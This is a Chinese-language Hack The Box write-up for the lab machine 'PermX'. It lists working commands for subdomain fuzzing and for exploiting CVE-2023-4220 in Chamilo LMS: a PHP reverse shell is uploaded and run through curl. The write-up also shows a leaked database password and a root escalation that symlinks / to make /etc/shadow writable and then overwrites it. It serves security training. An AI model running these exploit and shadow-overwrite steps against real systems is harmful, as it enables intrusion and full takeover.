htb_PermX

news2024/9/26 1:22:06

PermX

在这里插入图片描述

端口开放

80,22

在这里插入图片描述

子域名扫描

ffuf  -u 'http://permx.htb' -H 'host: FUZZ.permx.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all

www lms

在这里插入图片描述

访问lms.permx.htb

chamilo

在这里插入图片描述

查找cve

CVE-2023-4220

Chamilo LMS 未经身份验证的大上传文件远程代码执行

在这里插入图片描述

访问/main/inc/lib/javascript/bigupload/inc/bigUpload.php文件，没有报错，证明文件目录存在

在这里插入图片描述

参照文章中的exp利用漏洞

先编写一个php反弹shell，命名为rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

在这里插入图片描述

监听端口，收到反弹shell

在这里插入图片描述

查看用户目录

mtz

在这里插入图片描述

在/var/www/chamilo/app/config目录下发现一个配置文件

在这里插入图片描述

查找文件中关键词

cat configuration.php|grep -n password

发现有数据库密码

在这里插入图片描述

$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

网络端口确实开放了3306

在这里插入图片描述

但是我没有在mysql数据库中找到有用信息

尝试使用数据库密码登录mtz用户

在这里插入图片描述

sudo -l 提权

在这里插入图片描述

该脚本接受三个参数user（用户名）,perm（权限）,target（路径）

若路径下文件满足在/home/mtz目录下且路径中不含… ，则修改文件ACL权限（r，rw等）

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

我们希望获得root权限，则可以通过修改root密码实现登录root用户

root密码位于/etc/shadow文件下，但该文件只能由root修改

因此可将/（根目录）软链接到/home/mtz目录的cc下，则可以通过访问/home/mtz/cc访问到根目录，以此修改根目录下shadow文件权限，实现由mtz用户修改root密码

ln -s / cc

在这里插入图片描述

sudo /opt/acl.sh mtz  rwx  /home/mtz/cc/etc/shadow

在攻击机上使用openssl生成新的root密码，按照格式组装

openssl passwd -6  cccc

在这里插入图片描述

echo 'root:$6$zItjgPBsySOyqydY$k7pnxyH.edxes/IbLKnZO9pYbb0/bH9RRs5h6haM/UtBRKLvAJ217VNPPn1NKEAl5ikuCe93BdgxNd2gWHl2E.:19871:0:99999:7:::'  > /home/mtz/cc/etc/shadow

在这里插入图片描述